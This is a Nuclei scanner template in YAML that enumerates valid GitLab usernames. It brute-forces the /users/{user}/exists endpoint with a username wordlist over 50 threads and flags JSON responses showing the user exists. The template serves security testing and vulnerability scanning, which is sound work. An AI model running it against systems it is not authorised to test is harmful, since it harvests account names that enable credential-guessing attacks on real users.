nuclei-templates/vulnerabilities/gitlab/gitlab-user-enumeration.yaml

39 lines
784 B
YAML

id: gitlab-user-enumeration
info:
author: Suman_Kar
name: GitLab - User Enumeration
severity: info
tags: gitlab,enumeration
reference: https://github.com/danielmiessler/SecLists/blob/master/Usernames/Names/malenames-usa-top1000.txt
requests:
- raw:
- |
GET /users/{{user}}/exists HTTP/1.1
Host: {{Hostname}}
Accept: application/json, text/plain, */*
Referer: {{BaseURL}}
payloads:
user: helpers/wordlists/user-list.txt
attack: sniper
threads: 50
matchers-condition: and
matchers:
- type: regex
part: body
regex:
- "exists.*:true"
- type: status
status:
- 200
- type: word
words:
- "application/json"
part: header